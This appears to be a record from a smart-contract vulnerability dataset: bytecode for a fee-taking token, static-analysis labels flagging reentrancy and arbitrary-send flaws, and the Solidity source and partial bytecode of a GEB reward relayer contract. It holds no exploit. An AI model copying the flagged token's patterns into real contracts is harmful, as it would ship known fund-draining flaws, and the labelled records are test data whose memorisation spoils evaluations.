00080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600581526411d095531360da1b602082015290565b600061054061084d610e5c565b8484610f4c565b61085c610e5c565b6000546001600160a01b039081169116146108ac576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60005b8151811015610904576001600760008484815181106108ca57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108af565b5050565b6010546001600160a01b031661091c610e5c565b6001600160a01b03161461092f57600080fd5b600061093a30610706565b90506107038161149e565b61094d610e5c565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109fc576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a459030906001600160a01b0316683635c9adc5dea00000610e60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7e57600080fd5b505afa158015610a92573d6000803e3d6000fd5b505050506040513d6020811015610aa857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af857600080fd5b505afa158015610b0c573d6000803e3d6000fd5b505050506040513d6020811015610b2257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d6020811015610b9e57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd081610706565b600080610bdb610812565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4657600080fd5b505af1158015610c5a573d6000803e3d6000fd5b50505050506040513d6060811015610c7157600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cfd57600080fd5b505af1158015610d11573d6000803e3d6000fd5b505050506040513d6020811015610d2757600080fd5b505050565b610d34610e5c565b6000546001600160a01b03908116911614610d84576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60008111610dd9576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610df76064610df1683635c9adc5dea000008461166c565b906116c5565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea55760405162461bcd60e51b81526004018080602001828103825260248152602001806120596024913960400191505060405180910390fd5b6001600160a01b038216610eea5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f806022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f915760405162461bcd60e51b81526004018080602001828103825260258152602001806120346025913960400191505060405180910390fd5b6001600160a01b038216610fd65760405162461bcd60e51b8152600401808060200182810382526023815260200180611f336023913960400191505060405180910390fd5b600081116110155760405162461bcd60e51b815260040180806020018281038252602981526020018061200b6029913960400191505060405180910390fd5b61101d610812565b6001600160a01b0316836001600160a01b0316141580156110575750611041610812565b6001600160a01b0316826001600160a01b031614155b156112c557601354600160b81b900460ff1615611151576001600160a01b038316301480159061109057506001600160a01b0382163014155b80156110aa57506012546001600160a01b03848116911614155b80156110c457506012546001600160a01b03838116911614155b15611151576012546001600160a01b03166110dd610e5c565b6001600160a01b0316148061110c57506013546001600160a01b0316611101610e5c565b6001600160a01b0316145b611151576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116057600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a257506001600160a01b03821660009081526007602052604090205460ff16155b6111ab57600080fd5b6013546001600160a01b0384811691161480156111d657506012546001600160a01b03838116911614155b80156111fb57506001600160a01b03821660009081526005602052604090205460ff16155b80156112105750601354600160b81b900460ff165b15611258576001600160a01b038216600090815260086020526040902054421161123957600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126330610706565b601354909150600160a81b900460ff1615801561128e57506013546001600160a01b03858116911614155b80156112a35750601354600160b01b900460ff165b156112c3576112b18161149e565b4780156112c1576112c1476113b9565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130757506001600160a01b03831660009081526005602052604090205460ff165b15611310575060005b61131c84848484611707565b50505050565b600081848411156113b15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137657818101518382015260200161135e565b50505050905090810190601f1680156113a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d38360026116c5565b6040518115909202916000818181858888f193505050501580156113fb573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114168360026116c5565b6040518115909202916000818181858888f19350505050158015610904573d6000803e3d6000fd5b6000600a548211156114815760405162461bcd60e51b815260040180806020018281038252602a815260200180611f56602a913960400191505060405180910390fd5b600061148b611823565b905061149783826116c5565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114df57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153357600080fd5b505afa158015611547573d6000803e3d6000fd5b505050506040513d602081101561155d57600080fd5b505181518290600190811061156e57fe5b6001600160a01b0392831660209182029290920101526012546115949130911684610e60565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561161a578181015183820152602001611602565b505050509050019650505050505050600060405180830381600087803b15801561164357600080fd5b505af1158015611657573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261167b57506000610544565b8282028284828161168857fe5b04146114975760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa26021913960400191505060405180910390fd5b600061149783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611846565b80611714576117146118ab565b6001600160a01b03841660009081526006602052604090205460ff16801561175557506001600160a01b03831660009081526006602052604090205460ff16155b1561176a576117658484846118dd565b611816565b6001600160a01b03841660009081526006602052604090205460ff161580156117ab57506001600160a01b03831660009081526006602052604090205460ff165b156117bb57611765848484611a01565b6001600160a01b03841660009081526006602052604090205460ff1680156117fb57506001600160a01b03831660009081526006602052604090205460ff165b1561180b57611765848484611aaa565b611816848484611b1d565b8061131c5761131c611b61565b6000806000611830611b6f565b909250905061183f82826116c5565b9250505090565b600081836118955760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137657818101518382015260200161135e565b5060008385816118a157fe5b0495945050505050565b600c541580156118bb5750600d54155b156118c5576118db565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118ef87611cee565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119219088611d4b565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119509087611d4b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461197f9086611d8d565b6001600160a01b0389166000908152600260205260409020556119a181611de7565b6119ab8483611e6f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1387611cee565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a459087611d4b565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a7b9084611d8d565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461197f9086611d8d565b600080600080600080611abc87611cee565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aee9088611d4b565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a459087611d4b565b600080600080600080611b2f87611cee565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119509087611d4b565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cae57826002600060098481548110611b9f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c045750816003600060098481548110611bdd57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2257600a54683635c9adc5dea0000094509450505050611cea565b611c626002600060098481548110611c3657fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d4b565b9250611ca46003600060098481548110611c7857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d4b565b9150600101611b83565b50600a54611cc590683635c9adc5dea000006116c5565b821015611ce457600a54683635c9adc5dea00000935093505050611cea565b90925090505b9091565b6000806000806000806000806000611d0b8a600c54600d54611e93565b9250925092506000611d1b611823565b90506000806000611d2e8e878787611ee2565b919e509c509a509598509396509194505050505091939550919395565b600061149783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611322565b600082820183811015611497576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611df1611823565b90506000611dff838361166c565b30600090815260026020526040902054909150611e1c9082611d8d565b3060009081526002602090815260408083209390935560069052205460ff1615610d275730600090815260036020526040902054611e5a9084611d8d565b30600090815260036020526040902055505050565b600a54611e7c9083611d4b565b600a55600b54611e8c9082611d8d565b600b555050565b6000808080611ea76064610df1898961166c565b90506000611eba6064610df18a8961166c565b90506000611ed282611ecc8b86611d4b565b90611d4b565b9992985090965090945050505050565b6000808080611ef1888661166c565b90506000611eff888761166c565b90506000611f0d888861166c565b90506000611f1f82611ecc8686611d4b565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201ac134ac843831563284c1e4ecccf8cbe2a59a4c79334c31961d6db5f711220064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,943
0xdd2e7750ebf07bb8be147e712d5f8dedee052fde
pragma solidity 0.6.7; contract GebMath { uint256 public constant RAY = 10 ** 27; uint256 public constant WAD = 10 ** 18; function ray(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 9); } function rad(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 27); } function minimum(uint x, uint y) public pure returns (uint z) { z = (x <= y) ? x : y; } function addition(uint x, uint y) public pure returns (uint z) { z = x + y; require(z >= x, "uint-uint-add-overflow"); } function subtract(uint x, uint y) public pure returns (uint z) { z = x - y; require(z <= x, "uint-uint-sub-underflow"); } function multiply(uint x, uint y) public pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow"); } function rmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / RAY; } function rdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, RAY) / y; } function wdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, WAD) / y; } function wmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / WAD; } function rpower(uint x, uint n, uint base) public pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := base} default {z := 0}} default { switch mod(n, 2) case 0 { z := base } default { z := x } let half := div(base, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, base) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, base) } } } } } } abstract contract StabilityFeeTreasuryLike { function getAllowance(address) virtual external view returns (uint, uint); function systemCoin() virtual external view returns (address); function pullFunds(address, address, uint) virtual external; } contract IncreasingTreasuryReimbursement is GebMath { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized"); _; } // --- Variables --- // Starting reward for the fee receiver/keeper uint256 public baseUpdateCallerReward; // [wad] // Max possible reward for the fee receiver/keeper uint256 public maxUpdateCallerReward; // [wad] // Max delay taken into consideration when calculating the adjusted reward uint256 public maxRewardIncreaseDelay; // [seconds] // Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called) uint256 public perSecondCallerRewardIncrease; // [ray] // SF treasury StabilityFeeTreasuryLike public treasury; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters( bytes32 parameter, address addr ); event ModifyParameters( bytes32 parameter, uint256 val ); event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount); constructor( address treasury_, uint256 baseUpdateCallerReward_, uint256 maxUpdateCallerReward_, uint256 perSecondCallerRewardIncrease_ ) public { if (address(treasury_) != address(0)) { require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set"); } require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward"); require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase"); authorizedAccounts[msg.sender] = 1; treasury = StabilityFeeTreasuryLike(treasury_); baseUpdateCallerReward = baseUpdateCallerReward_; maxUpdateCallerReward = maxUpdateCallerReward_; perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_; maxRewardIncreaseDelay = uint(-1); emit AddAuthorization(msg.sender); emit ModifyParameters("treasury", treasury_); emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward); emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward); emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease); } // --- Boolean Logic --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } // --- Treasury --- /** * @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances **/ function treasuryAllowance() public view returns (uint256) { (uint total, uint perBlock) = treasury.getAllowance(address(this)); return minimum(total, perBlock); } /* * @notice Get the SF reward that can be sent to a function caller right now * @param timeOfLastUpdate The last time when the function that the treasury pays for has been updated * @param defaultDelayBetweenCalls Enforced delay between calls to the function for which the treasury reimburses callers */ function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) { // If the rewards are null or if the time of the last update is in the future or present, return 0 bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0); if (either(timeOfLastUpdate >= now, nullRewards)) return 0; // If the time elapsed is smaller than defaultDelayBetweenCalls or if the base reward is zero, return 0 uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate); if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) { return 0; } // If too much time elapsed, return the max reward uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls); uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY); if (adjustedTime > maxRewardIncreaseDelay) { return maxPossibleReward; } // Calculate the reward uint256 calculatedReward = baseUpdateCallerReward; if (adjustedTime > 0) { calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward); } // If the reward is higher than max, set it to max if (calculatedReward > maxPossibleReward) { calculatedReward = maxPossibleReward; } return calculatedReward; } /** * @notice Send a stability fee reward to an address * @param proposedFeeReceiver The SF receiver * @param reward The system coin amount to send **/ function rewardCaller(address proposedFeeReceiver, uint256 reward) internal { // If the receiver is the treasury itself or if the treasury is null or if the reward is zero, return if (address(treasury) == proposedFeeReceiver) return; if (either(address(treasury) == address(0), reward == 0)) return; // Determine the actual receiver and send funds address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver; try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {} catch(bytes memory revertReason) { emit FailRewardCaller(revertReason, finalFeeReceiver, reward); } } } contract IncreasingRewardRelayer is IncreasingTreasuryReimbursement { // --- Variables --- // Address that can request funds address public refundRequestor; // Timestamp of the last reimbursement uint256 public lastReimburseTime; // [timestamp] // Enforced gap between reimbursements uint256 public reimburseDelay; // [seconds] constructor( address refundRequestor_, address treasury_, uint256 baseUpdateCallerReward_, uint256 maxUpdateCallerReward_, uint256 perSecondCallerRewardIncrease_, uint256 reimburseDelay_ ) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) { require(refundRequestor_ != address(0), "IncreasingRewardRelayer/null-refund-requestor"); require(reimburseDelay_ > 0, "IncreasingRewardRelayer/null-reimburse-delay"); refundRequestor = refundRequestor_; reimburseDelay = reimburseDelay_; emit ModifyParameters("refundRequestor", refundRequestor); emit ModifyParameters("reimburseDelay", reimburseDelay); } // --- Administration --- /* * @notice Change the addresses of contracts that this wrapper is connected to * @param parameter The contract whose address is changed * @param addr The new contract address */ function modifyParameters(bytes32 parameter, address addr) external isAuthorized { require(addr != address(0), "IncreasingRewardRelayer/null-addr"); if (parameter == "treasury") { require(StabilityFeeTreasuryLike(addr).systemCoin() != address(0), "IncreasingRewardRelayer/treasury-coin-not-set"); treasury = StabilityFeeTreasuryLike(addr); } else if (parameter == "refundRequestor") { refundRequestor = addr; } else revert("IncreasingRewardRelayer/modify-unrecognized-param"); emit ModifyParameters( parameter, addr ); } /* * @notify Modify a uint256 parameter * @param parameter The parameter name * @param val The new parameter value */ function modifyParameters(bytes32 parameter, uint256 val) external isAuthorized { if (parameter == "baseUpdateCallerReward") { require(val <= maxUpdateCallerReward, "IncreasingRewardRelayer/invalid-base-caller-reward"); baseUpdateCallerReward = val; } else if (parameter == "maxUpdateCallerReward") { require(val >= baseUpdateCallerReward, "IncreasingRewardRelayer/invalid-max-caller-reward"); maxUpdateCallerReward = val; } else if (parameter == "perSecondCallerRewardIncrease") { require(val >= RAY, "IncreasingRewardRelayer/invalid-caller-reward-increase"); perSecondCallerRewardIncrease = val; } else if (parameter == "maxRewardIncreaseDelay") { require(val > 0, "IncreasingRewardRelayer/invalid-max-increase-delay"); maxRewardIncreaseDelay = val; } else if (parameter == "reimburseDelay") { require(val > 0, "IncreasingRewardRelayer/invalid-reimburse-delay"); reimburseDelay = val; } else revert("IncreasingRewardRelayer/modify-unrecognized-param"); emit ModifyParameters( parameter, val ); } // --- Core Logic --- /* * @notice Send a stability fee reward to an address proposed by the refundRequestor * @param feeReceiver Address that will receive the SF reward */ function reimburseCaller(address feeReceiver) external { // Perform checks require(refundRequestor == msg.sender, "IncreasingRewardRelayer/invalid-caller"); require(feeReceiver != address(0), "IncreasingRewardRelayer/null-fee-receiver"); require(feeReceiver != refundRequestor, "IncreasingRewardRelayer/requestor-cannot-receive-fees"); // Check delay between calls require(either(subtract(now, lastReimburseTime) >= reimburseDelay, lastReimburseTime == 0), "IncreasingRewardRelayer/wait-more"); // Get the caller's reward uint256 callerReward = getCallerReward(lastReimburseTime, reimburseDelay); // Store the timestamp of the reimbursement lastReimburseTime = now; // Pay the fee receiver rewardCaller(feeReceiver, callerReward); } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c8063552033c411610104578063a0871637116100a2578063e0d56dd711610071578063e0d56dd71461078c578063f238ffd2146107d6578063f752fdc314610822578063fe4f58901461086e576101cf565b8063a087163714610680578063c0585a4e146106cc578063d6e882dc146106ea578063dd2d2a1214610740576101cf565b806369dec276116100de57806369dec276146105bc5780636a146024146105da5780638d7fb67a146105f857806394f3f81d1461063c576101cf565b8063552033c41461050657806361d027b3146105245780636614f0101461056e576101cf565b806335b281531161017157806343943b6b1161014b57806343943b6b1461043c57806346f3e81c1461045a5780634a5a96081461049c57806354f363a3146104ba576101cf565b806335b28153146103605780633c8bb3e6146103a45780633ef5e445146103f0576101cf565b80631c1f908c116101ad5780631c1f908c146102ae5780632009e568146102cc57806324ba5884146102ea5780633425677e14610342576101cf565b8063056640b7146101d45780631021344714610220578063165c4a1614610262575b600080fd5b61020a600480360360408110156101ea57600080fd5b8101908080359060200190929190803590602001909291905050506108a6565b6040518082815260200191505060405180910390f35b61024c6004803603602081101561023657600080fd5b81019080803590602001909291905050506108cf565b6040518082815260200191505060405180910390f35b6102986004803603604081101561027857600080fd5b8101908080359060200190929190803590602001909291905050506108e6565b6040518082815260200191505060405180910390f35b6102b661097b565b6040518082815260200191505060405180910390f35b6102d4610981565b6040518082815260200191505060405180910390f35b61032c6004803603602081101561030057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610987565b6040518082815260200191505060405180910390f35b61034a61099f565b6040518082815260200191505060405180910390f35b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a9c565b005b6103da600480360360408110156103ba57600080fd5b810190808035906020019092919080359060200190929190505050610bdd565b6040518082815260200191505060405180910390f35b6104266004803603604081101561040657600080fd5b810190808035906020019092919080359060200190929190505050610c02565b6040518082815260200191505060405180910390f35b610444610c85565b6040518082815260200191505060405180910390f35b6104866004803603602081101561047057600080fd5b8101908080359060200190929190505050610c8b565b6040518082815260200191505060405180910390f35b6104a4610caa565b6040518082815260200191505060405180910390f35b6104f0600480360360408110156104d057600080fd5b810190808035906020019092919080359060200190929190505050610cb0565b6040518082815260200191505060405180910390f35b61050e610d33565b6040518082815260200191505060405180910390f35b61052c610d43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ba6004803603604081101561058457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d69565b005b6105c4611129565b6040518082815260200191505060405180910390f35b6105e261112f565b6040518082815260200191505060405180910390f35b61063a6004803603602081101561060e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b005b61067e6004803603602081101561065257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a9565b005b6106b66004803603604081101561069657600080fd5b8101908080359060200190929190803590602001909291905050506114ea565b6040518082815260200191505060405180910390f35b6106d4611513565b6040518082815260200191505060405180910390f35b61072a6004803603606081101561070057600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611519565b6040518082815260200191505060405180910390f35b6107766004803603604081101561075657600080fd5b8101908080359060200190929190803590602001909291905050506115df565b6040518082815260200191505060405180910390f35b6107946115f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61080c600480360360408110156107ec57600080fd5b81019080803590602001909291908035906020019092919050505061161f565b6040518082815260200191505060405180910390f35b6108586004803603604081101561083857600080fd5b810190808035906020019092919080359060200190929190505050611731565b6040518082815260200191505060405180910390f35b6108a46004803603604081101561088457600080fd5b810190808035906020019092919080359060200190929190505050611756565b005b60006b033b2e3c9fd0803ce80000006108bf84846108e6565b816108c657fe5b04905092915050565b60006108df82633b9aca006108e6565b9050919050565b600080821480610903575082828385029250828161090057fe5b04145b610975576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6d756c2d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5b92915050565b60015481565b60035481565b60006020528060005260406000206000915090505481565b6000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb5a662e306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604080518083038186803b158015610a4257600080fd5b505afa158015610a56573d6000803e3d6000fd5b505050506040513d6040811015610a6c57600080fd5b81019080805190602001909291908051906020019092919050505091509150610a9582826115df565b9250505090565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b33576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061212f6036913960400191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f700010281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000670de0b6b3a7640000610bf284846108e6565b81610bf957fe5b04905092915050565b6000818303905082811115610c7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f75696e742d75696e742d7375622d756e646572666c6f7700000000000000000081525060200191505060405180910390fd5b92915050565b60045481565b6000610ca3826b033b2e3c9fd0803ce80000006108e6565b9050919050565b60085481565b6000818301905082811015610d2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6164642d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5b92915050565b6b033b2e3c9fd0803ce800000081565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e00576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061212f6036913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f116021913960400191505060405180910390fd5b7f7472656173757279000000000000000000000000000000000000000000000000821415610ffa57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0c57600080fd5b505afa158015610f20573d6000803e3d6000fd5b505050506040513d6020811015610f3657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612102602d913960400191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110ba565b7f726566756e64526571756573746f7200000000000000000000000000000000008214156110685780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110b9565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061204c6031913960400191505060405180910390fd5b5b7fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d18282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60025481565b670de0b6b3a764000081565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611f9a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611ff26029913960400191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561130e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806120cd6035913960400191505060405180910390fd5b61132d60085461132042600754610c02565b1015600060075414611b56565b611382576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120ac6021913960400191505060405180910390fd5b600061139260075460085461161f565b9050426007819055506113a58282611b63565b5050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061212f6036913960400191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526